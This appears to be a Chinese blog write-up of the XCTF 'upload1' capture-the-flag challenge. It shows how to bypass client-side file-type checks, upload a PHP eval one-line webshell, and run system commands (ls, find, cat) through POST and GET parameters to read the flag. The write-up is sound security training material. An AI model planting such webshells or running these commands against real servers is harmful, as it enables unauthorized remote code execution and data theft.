XCTF-攻防世界CTF平台-Web类——11、upload1(文件上传、前端校验)

打开题目地址:
在这里插入图片描述

是一个文件上传的题目
选择一个一句话脚本上传:
在这里插入图片描述

前端存在JS代码校验文件类型,如果上传的文件后缀不是jpg和png,就会让上传按钮变得不使能:
在这里插入图片描述

要绕过前端的JS代码校验,常见的方法有:

(1)把οnchange="check();去掉

可以直接把οnchange="check();去掉,这样提交文件的时候就不会校验文件类型了。
F12查看页面代码:
在这里插入图片描述

删除οnchange="check();
在这里插入图片描述

结果发现选择了1.php文件之后,依然校验了文件后缀,让上传按钮变得不使能了:
在这里插入图片描述
但是在火狐浏览器删除οnchange="check();之后,却已经可以上传1.php文件了:
在这里插入图片描述

点击上传:
在这里插入图片描述

上传成功!

所以谷歌浏览器可能需要把整段JS代码都删掉,那我们干脆直接选择了1.php文件之后:
在这里插入图片描述

把上传按钮的disable属性去掉:
在这里插入图片描述

之后上传按钮就变得使能了,上传1.php:
在这里插入图片描述

上传成功!

(2)禁用浏览器的JS脚本运行

禁用浏览器的JS脚本运行,这样提交文件的时候就也不会校验文件类型了。
例如谷歌浏览器,在高级设置->隐私设置和安全性->JavaScript中,或者直接输入网址:

chrome://settings/content/javascript

在这里插入图片描述

不允许网站使用 JavaScript,可以暂时设置所有网站或者指定目标网址不能执行JavaScript脚本。
再选择1.php:
在这里插入图片描述

没有触发js脚本,上传按钮依旧使能,可以直接上传:
在这里插入图片描述

上传成功!

(3)Burp Suite抓包修改文件后缀名

先将,从浏览器选择11.jpg上传,然后Burp Suite抓包:
在这里插入图片描述

之后发送到重发器,将11.jpg改回11.php然后再发送:
在这里插入图片描述

也能成功上传。

POST方法一句话木马

<?php @eval($_POST['attack']); ?>

一句话木马的原理,通过php的eval函数执行由POST方式提交的attack变量的值,就是把attack=xxx 字符串当成php语句执行。这里的attack只是变量名,也可以改成其他的。
这个一句话木马需要用POST方式提交attack变量的值:

attack=phpinfo();

在这里插入图片描述

phpinfo()输出PHP当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。
之后我们可以执行查看当前目录下文件的命令:

attack=system('ls');

在这里插入图片描述

之后搜索flag文件:

attack=system('find / -name "flag*" ');

在这里插入图片描述

发现在/var/www/html/flag.php路径下有flag:
查看flag文件:

attack=system('cat /var/www/html/flag.php');

在这里插入图片描述

返回的flag.php文件内容在注释中,得到flag:cyberpeace{96e8b99eee701e52288e986eb8ea3f2c}

GET方法一句话木马

<?php @eval($_GET['attack']); ?>

一句话木马也可以通过GET方式提交attack变量的值。
上传一个2.php
在这里插入图片描述

之后连接:

http://111.200.241.244:54118/upload/1637599461.2.php?attack=system('cat /var/www/html/flag.php');

在这里插入图片描述

得到flag:cyberpeace{96e8b99eee701e52288e986eb8ea3f2c}

蚁剑连接

此外也可以用蚁剑连接:

<?php @eval($_POST['attack']); ?>

连接第一个POST方式的一句话木马:
在这里插入图片描述

之后就可以使用虚拟终端、查看文件管理、进行数据库操作等:
在这里插入图片描述

找到flag.php:
在这里插入图片描述

得到flag:cyberpeace{96e8b99eee701e52288e986eb8ea3f2c}

根据提供的引用内容,可以得知ctf upload1是一个CTF比赛中的一个上传功能。通过上传文件,可以执行一句话木马来获取flag。具体步骤如下: 1. 首先,需要找到一句话木马的代码。根据引用\[1\]中的内容,可以得到一句话木马的代码为`<?php @eval($_GET\['attack'\]); ?>`。 2. 接下来,需要构造一个GET请求,将一句话木马的代码作为参数传递给服务器。根据引用\[2\]中的内容,可以得到请求的URL为`http://111.200.241.244:54118/upload/1637599461.2.php?attack=system('cat /var/www/html/flag.php');`。这个请求会执行`system('cat /var/www/html/flag.php')`命令,将flag.php文件的内容返回。 3. 最后,发送该请求,即可获取flag。请注意,这个请求需要在合适的环境下进行,且仅供学习和研究使用。 总结起来,ctf upload1是一个上传功能,通过上传文件执行一句话木马来获取flag。具体步骤是构造一个GET请求,将一句话木马的代码作为参数传递给服务器,然后执行相应的命令获取flag。 #### 引用[.reference_title] - *1* *2* *3* [XCTF-攻防世界CTF平台-Web——11upload1(文件上传前端校验)](https://blog.csdn.net/Onlyone_1314/article/details/121503130)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值